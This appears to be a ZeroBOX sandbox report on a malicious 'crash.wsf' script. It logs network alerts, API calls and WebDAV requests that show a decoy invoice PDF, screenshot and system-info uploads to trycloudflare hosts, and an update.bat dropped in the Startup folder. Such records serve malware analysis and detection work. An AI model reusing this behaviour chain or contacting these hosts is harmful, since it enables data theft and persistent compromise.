popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

crash.wsf

Generic Malware Antivirus AntiDebug MSOffice File PNG Format JPEG Format AntiVM PowerShell
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6403_us May 4, 2025, 12:45 p.m. May 4, 2025, 1:15 p.m.
Size 1.7KB
Type XML 1.0 document, ASCII text, with CRLF line terminators
MD5 2dcc1cf06976f05d33fd0b1a68f0f940
SHA256 c61323b489c42a631896a15e0c88a4953bae063bf4870559fe2ea1323ce48574
CRC32 BEAC94EF
ssdeep 48:X7S2gFqX2Gay6wYwp8UgjTEWjvhA6F/qX/Ja/aS/L69/b4:m2iqXJZZ8Njwy/W/0/z/4/s
Yara None matched

Suricata Alerts

Flow SID Signature Category
UDP 192.168.56.103:52760 -> 164.124.101.2:53 2034552 ET POLICY Observed DNS Query to Commonly Abused Cloudflare Domain (trycloudflare .com) Potentially Bad Traffic
TCP 192.168.56.103:49186 -> 162.159.134.42:443 906200054 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49187 -> 162.159.134.42:443 906200054 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49191 -> 162.159.134.42:443 906200054 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
UDP 192.168.56.103:53673 -> 164.124.101.2:53 2034552 ET POLICY Observed DNS Query to Commonly Abused Cloudflare Domain (trycloudflare .com) Potentially Bad Traffic
TCP 192.168.56.103:49213 -> 104.16.231.132:443 2058175 ET HUNTING TryCloudFlare Domain in TLS SNI Misc activity
TCP 192.168.56.103:49213 -> 104.16.231.132:443 2060250 ET INFO Observed trycloudflare .com Domain in TLS SNI Misc activity
TCP 192.168.56.103:49213 -> 104.16.231.132:443 906200054 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49217 -> 104.16.231.132:443 2058175 ET HUNTING TryCloudFlare Domain in TLS SNI Misc activity
TCP 192.168.56.103:49217 -> 104.16.231.132:443 2060250 ET INFO Observed trycloudflare .com Domain in TLS SNI Misc activity
TCP 192.168.56.103:49217 -> 104.16.231.132:443 906200054 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49217 -> 104.16.231.132:443 2058175 ET HUNTING TryCloudFlare Domain in TLS SNI Misc activity
TCP 192.168.56.103:49217 -> 104.16.231.132:443 2060250 ET INFO Observed trycloudflare .com Domain in TLS SNI Misc activity
TCP 192.168.56.103:49217 -> 104.16.231.132:443 2058175 ET HUNTING TryCloudFlare Domain in TLS SNI Misc activity
TCP 192.168.56.103:49217 -> 104.16.231.132:443 2060250 ET INFO Observed trycloudflare .com Domain in TLS SNI Misc activity
UDP 192.168.56.103:64894 -> 164.124.101.2:53 2034552 ET POLICY Observed DNS Query to Commonly Abused Cloudflare Domain (trycloudflare .com) Potentially Bad Traffic
TCP 192.168.56.103:49184 -> 162.159.134.42:443 906200054 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49212 -> 104.16.231.132:443 2058175 ET HUNTING TryCloudFlare Domain in TLS SNI Misc activity
TCP 192.168.56.103:49212 -> 104.16.231.132:443 2060250 ET INFO Observed trycloudflare .com Domain in TLS SNI Misc activity
TCP 192.168.56.103:49212 -> 104.16.231.132:443 906200054 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49223 -> 104.16.231.132:443 2058175 ET HUNTING TryCloudFlare Domain in TLS SNI Misc activity
TCP 192.168.56.103:49223 -> 104.16.231.132:443 2060250 ET INFO Observed trycloudflare .com Domain in TLS SNI Misc activity
TCP 192.168.56.103:49223 -> 104.16.231.132:443 906200054 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49213 -> 104.16.231.132:443 2058175 ET HUNTING TryCloudFlare Domain in TLS SNI Misc activity
TCP 192.168.56.103:49213 -> 104.16.231.132:443 2060250 ET INFO Observed trycloudflare .com Domain in TLS SNI Misc activity
TCP 192.168.56.103:49213 -> 104.16.231.132:443 2058175 ET HUNTING TryCloudFlare Domain in TLS SNI Misc activity
TCP 192.168.56.103:49213 -> 104.16.231.132:443 2060250 ET INFO Observed trycloudflare .com Domain in TLS SNI Misc activity
TCP 192.168.56.103:49213 -> 104.16.231.132:443 2058175 ET HUNTING TryCloudFlare Domain in TLS SNI Misc activity
TCP 192.168.56.103:49213 -> 104.16.231.132:443 2060250 ET INFO Observed trycloudflare .com Domain in TLS SNI Misc activity
TCP 192.168.56.103:49215 -> 104.16.231.132:443 2058175 ET HUNTING TryCloudFlare Domain in TLS SNI Misc activity
TCP 192.168.56.103:49215 -> 104.16.231.132:443 2060250 ET INFO Observed trycloudflare .com Domain in TLS SNI Misc activity
TCP 192.168.56.103:49215 -> 104.16.231.132:443 906200054 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49235 -> 104.16.231.132:443 2058175 ET HUNTING TryCloudFlare Domain in TLS SNI Misc activity
TCP 192.168.56.103:49235 -> 104.16.231.132:443 2060250 ET INFO Observed trycloudflare .com Domain in TLS SNI Misc activity
TCP 192.168.56.103:49235 -> 104.16.231.132:443 906200054 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49218 -> 104.16.231.132:443 2058175 ET HUNTING TryCloudFlare Domain in TLS SNI Misc activity
TCP 192.168.56.103:49218 -> 104.16.231.132:443 2060250 ET INFO Observed trycloudflare .com Domain in TLS SNI Misc activity
TCP 192.168.56.103:49218 -> 104.16.231.132:443 906200054 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49218 -> 104.16.231.132:443 2058175 ET HUNTING TryCloudFlare Domain in TLS SNI Misc activity
TCP 192.168.56.103:49218 -> 104.16.231.132:443 2060250 ET INFO Observed trycloudflare .com Domain in TLS SNI Misc activity
TCP 192.168.56.103:49218 -> 104.16.231.132:443 2058175 ET HUNTING TryCloudFlare Domain in TLS SNI Misc activity
TCP 192.168.56.103:49218 -> 104.16.231.132:443 2060250 ET INFO Observed trycloudflare .com Domain in TLS SNI Misc activity
TCP 192.168.56.103:49218 -> 104.16.231.132:443 2058175 ET HUNTING TryCloudFlare Domain in TLS SNI Misc activity
TCP 192.168.56.103:49218 -> 104.16.231.132:443 2060250 ET INFO Observed trycloudflare .com Domain in TLS SNI Misc activity
TCP 192.168.56.103:49235 -> 104.16.231.132:443 2058175 ET HUNTING TryCloudFlare Domain in TLS SNI Misc activity
TCP 192.168.56.103:49235 -> 104.16.231.132:443 2060250 ET INFO Observed trycloudflare .com Domain in TLS SNI Misc activity
TCP 192.168.56.103:49235 -> 104.16.231.132:443 2058175 ET HUNTING TryCloudFlare Domain in TLS SNI Misc activity
TCP 192.168.56.103:49235 -> 104.16.231.132:443 2060250 ET INFO Observed trycloudflare .com Domain in TLS SNI Misc activity
TCP 192.168.56.103:49170 -> 104.16.231.132:443 2058175 ET HUNTING TryCloudFlare Domain in TLS SNI Misc activity
TCP 192.168.56.103:49170 -> 104.16.231.132:443 2060250 ET INFO Observed trycloudflare .com Domain in TLS SNI Misc activity
TCP 192.168.56.103:49170 -> 104.16.231.132:443 906200054 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49185 -> 162.159.134.42:443 906200054 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49188 -> 162.159.134.42:443 906200054 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49211 -> 104.16.231.132:443 2058175 ET HUNTING TryCloudFlare Domain in TLS SNI Misc activity
TCP 192.168.56.103:49211 -> 104.16.231.132:443 2060250 ET INFO Observed trycloudflare .com Domain in TLS SNI Misc activity
TCP 192.168.56.103:49211 -> 104.16.231.132:443 906200054 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49214 -> 104.16.231.132:443 2058175 ET HUNTING TryCloudFlare Domain in TLS SNI Misc activity
TCP 192.168.56.103:49214 -> 104.16.231.132:443 2060250 ET INFO Observed trycloudflare .com Domain in TLS SNI Misc activity
TCP 192.168.56.103:49214 -> 104.16.231.132:443 906200054 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined

Suricata TLS

Flow Issuer Subject Fingerprint
TLSv1
192.168.56.103:49210
104.16.231.132:443 		C=US, O=Google Trust Services, CN=WR1 CN=trycloudflare.com 37:c4:c9:15:20:43:92:11:a9:ae:35:6c:c0:03:cb:d8:e0:9c:37:6b
TLSv1
192.168.56.103:49169
104.16.231.132:443 		C=US, O=Google Trust Services, CN=WR1 CN=trycloudflare.com 37:c4:c9:15:20:43:92:11:a9:ae:35:6c:c0:03:cb:d8:e0:9c:37:6b
TLSv1
192.168.56.103:49167
104.16.231.132:443 		C=US, O=Google Trust Services, CN=WR1 CN=trycloudflare.com 37:c4:c9:15:20:43:92:11:a9:ae:35:6c:c0:03:cb:d8:e0:9c:37:6b
TLSv1
192.168.56.103:49168
104.16.231.132:443 		C=US, O=Google Trust Services, CN=WR1 CN=trycloudflare.com 37:c4:c9:15:20:43:92:11:a9:ae:35:6c:c0:03:cb:d8:e0:9c:37:6b
TLSv1
192.168.56.103:49217
104.16.231.132:443 		None None None
TLSv1
192.168.56.103:49209
104.16.231.132:443 		C=US, O=Google Trust Services, CN=WR1 CN=trycloudflare.com 37:c4:c9:15:20:43:92:11:a9:ae:35:6c:c0:03:cb:d8:e0:9c:37:6b
TLSv1
192.168.56.103:49212
104.16.231.132:443 		C=US, O=Google Trust Services, CN=WR1 CN=trycloudflare.com 37:c4:c9:15:20:43:92:11:a9:ae:35:6c:c0:03:cb:d8:e0:9c:37:6b
TLSv1
192.168.56.103:49223
104.16.231.132:443 		C=US, O=Google Trust Services, CN=WR1 CN=trycloudflare.com 37:c4:c9:15:20:43:92:11:a9:ae:35:6c:c0:03:cb:d8:e0:9c:37:6b
TLSv1
192.168.56.103:49213
104.16.231.132:443 		None None None
TLSv1
192.168.56.103:49215
104.16.231.132:443 		C=US, O=Google Trust Services, CN=WR1 CN=trycloudflare.com 37:c4:c9:15:20:43:92:11:a9:ae:35:6c:c0:03:cb:d8:e0:9c:37:6b
TLSv1
192.168.56.103:49218
104.16.231.132:443 		None None None
TLSv1
192.168.56.103:49235
104.16.231.132:443 		None None None
TLSv1
192.168.56.103:49170
104.16.231.132:443 		C=US, O=Google Trust Services, CN=WR1 CN=trycloudflare.com 37:c4:c9:15:20:43:92:11:a9:ae:35:6c:c0:03:cb:d8:e0:9c:37:6b
TLSv1
192.168.56.103:49211
104.16.231.132:443 		C=US, O=Google Trust Services, CN=WR1 CN=trycloudflare.com 37:c4:c9:15:20:43:92:11:a9:ae:35:6c:c0:03:cb:d8:e0:9c:37:6b
TLSv1
192.168.56.103:49214
104.16.231.132:443 		C=US, O=Google Trust Services, CN=WR1 CN=trycloudflare.com 37:c4:c9:15:20:43:92:11:a9:ae:35:6c:c0:03:cb:d8:e0:9c:37:6b

Time & API Arguments Status Return Repeated

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0
Time & API Arguments Status Return Repeated

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0
Time & API Arguments Status Return Repeated

WriteConsoleW

 buffer: The network connection could not be found.
console_handle: 0x0000000b
1 1 0

WriteConsoleW

 buffer: More help is available by typing NET HELPMSG 2250.
console_handle: 0x0000000b
1 1 0

WriteConsoleW

 buffer: The command completed successfully.
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: Opening PDF: https://www.healyconsultants.com/wp-content/uploads/2013/08/draft-invoice-Germany.pdf ...
console_handle: 0x00000007
1 1 0

WriteConsoleA

 buffer: Watchdog active...
console_handle: 0x00000007
1 1 0

WriteConsoleA

 buffer: No update.bat found. Waiting...
console_handle: 0x00000007
1 1 0

WriteConsoleA

 buffer: No update.bat found. Waiting...
console_handle: 0x00000007
1 1 0

WriteConsoleA

 buffer: No update.bat found. Waiting...
console_handle: 0x00000007
1 1 0

WriteConsoleA

 buffer: No update.bat found. Waiting...
console_handle: 0x00000007
1 1 0

WriteConsoleA

 buffer: No update.bat found. Waiting...
console_handle: 0x00000007
1 1 0

WriteConsoleA

 buffer: No update.bat found. Waiting...
console_handle: 0x00000007
1 1 0

WriteConsoleA

 buffer: No update.bat found. Waiting...
console_handle: 0x00000007
1 1 0

WriteConsoleA

 buffer: No update.bat found. Waiting...
console_handle: 0x00000007
1 1 0

WriteConsoleA

 buffer: No update.bat found. Waiting...
console_handle: 0x00000007
1 1 0

WriteConsoleA

 buffer: No update.bat found. Waiting...
console_handle: 0x00000007
1 1 0

WriteConsoleA

 buffer: No update.bat found. Waiting...
console_handle: 0x00000007
1 1 0

WriteConsoleA

 buffer: No update.bat found. Waiting...
console_handle: 0x00000007
1 1 0

WriteConsoleA

 buffer: No update.bat found. Waiting...
console_handle: 0x00000007
1 1 0

WriteConsoleA

 buffer: No update.bat found. Waiting...
console_handle: 0x00000007
1 1 0

WriteConsoleA

 buffer: No update.bat found. Waiting...
console_handle: 0x00000007
1 1 0

WriteConsoleA

 buffer: No update.bat found. Waiting...
console_handle: 0x00000007
1 1 0

WriteConsoleA

 buffer: No update.bat found. Waiting...
console_handle: 0x00000007
1 1 0

WriteConsoleA

 buffer: No update.bat found. Waiting...
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: C:\Users\test22\AppData\Local\Temp>
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: '■' is not recognized as an internal or external command, operable program or batch file.
console_handle: 0x0000000b
1 1 0

WriteConsoleW

 buffer: C:\Users\test22\AppData\Local\Temp>
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: '■' is not recognized as an internal or external command, operable program or batch file.
console_handle: 0x0000000b
1 1 0

WriteConsoleW

 buffer: Connecting to WebDAV...
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: Error: Failed to connect to \\travel-sagem-distant-potential.trycloudflare.com@SSL\DavWWWRoot. Check credentials or network.
console_handle: 0x0000000b
1 1 0

WriteConsoleW

 buffer: Downloading file...
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: Success C:\Users\test22\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\update.bat
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: Press any key to continue . . .
console_handle: 0x00000007
1 1 0
Time & API Arguments Status Return Repeated

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0072db90
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0072dcd0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0072dcd0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0072dcd0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0072d4d0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0072d4d0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0072d4d0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0072d4d0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0072d4d0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0072d4d0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0072dcd0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0072dcd0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0072dcd0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0072e250
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0072e250
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0072e250
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0072df50
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0072e250
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0072e250
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0072e250
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0072e250
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0072e250
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0072e250
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0072e250
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0072e010
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0072e010
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0072e010
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0072e010
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0072e010
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0072e010
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0072e010
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0072e010
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0072e010
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0072e010
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0072e010
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0072e010
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0072e010
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0072e010
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0072e090
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0072e090
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002d3250
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002d3950
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002d3950
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002d3950
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002d3010
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002d3010
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002d3010
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002d3010
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002d3010
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002d3010
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
suspicious_features GET method with no useragent header suspicious_request GET https://minutes-amazing-curriculum-maui.trycloudflare.com/update.bat
request PROPFIND https://minutes-amazing-curriculum-maui.trycloudflare.com/AutoRun.inf
request PROPFIND https://lu-phys-peru-goes.trycloudflare.com/AutoRun.inf
request PROPFIND https://lu-phys-peru-goes.trycloudflare.com/
request MKCOL https://lu-phys-peru-goes.trycloudflare.com/test22-PC_2025-05-04_20_46_07_65
request PROPPATCH https://lu-phys-peru-goes.trycloudflare.com/test22-PC_2025-05-04_20_46_07_65
request PROPFIND https://lu-phys-peru-goes.trycloudflare.com/test22-PC_2025-05-04_20_46_07_65/test22-PC_2025-05-04_20_46_07_65.txt
request PUT https://lu-phys-peru-goes.trycloudflare.com/test22-PC_2025-05-04_20_46_07_65/test22-PC_2025-05-04_20_46_07_65.txt
request LOCK https://lu-phys-peru-goes.trycloudflare.com/test22-PC_2025-05-04_20_46_07_65/test22-PC_2025-05-04_20_46_07_65.txt
request PROPPATCH https://lu-phys-peru-goes.trycloudflare.com/test22-PC_2025-05-04_20_46_07_65/test22-PC_2025-05-04_20_46_07_65.txt
request HEAD https://lu-phys-peru-goes.trycloudflare.com/test22-PC_2025-05-04_20_46_07_65/test22-PC_2025-05-04_20_46_07_65.txt
request UNLOCK https://lu-phys-peru-goes.trycloudflare.com/test22-PC_2025-05-04_20_46_07_65/test22-PC_2025-05-04_20_46_07_65.txt
request PROPFIND https://lu-phys-peru-goes.trycloudflare.com/test22-PC_2025-05-04_20_46_07_65/test22-PC_2025-05-04_20_46_07_65_screenshot.png
request PUT https://lu-phys-peru-goes.trycloudflare.com/test22-PC_2025-05-04_20_46_07_65/test22-PC_2025-05-04_20_46_07_65_screenshot.png
request LOCK https://lu-phys-peru-goes.trycloudflare.com/test22-PC_2025-05-04_20_46_07_65/test22-PC_2025-05-04_20_46_07_65_screenshot.png
request PROPPATCH https://lu-phys-peru-goes.trycloudflare.com/test22-PC_2025-05-04_20_46_07_65/test22-PC_2025-05-04_20_46_07_65_screenshot.png
request HEAD https://lu-phys-peru-goes.trycloudflare.com/test22-PC_2025-05-04_20_46_07_65/test22-PC_2025-05-04_20_46_07_65_screenshot.png
request UNLOCK https://lu-phys-peru-goes.trycloudflare.com/test22-PC_2025-05-04_20_46_07_65/test22-PC_2025-05-04_20_46_07_65_screenshot.png
request PROPFIND https://lu-phys-peru-goes.trycloudflare.com/test22-PC_2025-05-04_20_46_07_65/update.bat
request GET https://minutes-amazing-curriculum-maui.trycloudflare.com/update.bat
request PROPFIND https://lu-phys-peru-goes.trycloudflare.com/test22-PC_2025-05-04_20_46_07_65
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 2856
region_size: 983040
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026d0000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2856
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02780000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2856
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x72641000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2856
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0251a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2856
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 8192
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x72642000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2856
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02512000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2856
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02522000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2856
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02781000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2856
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02782000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
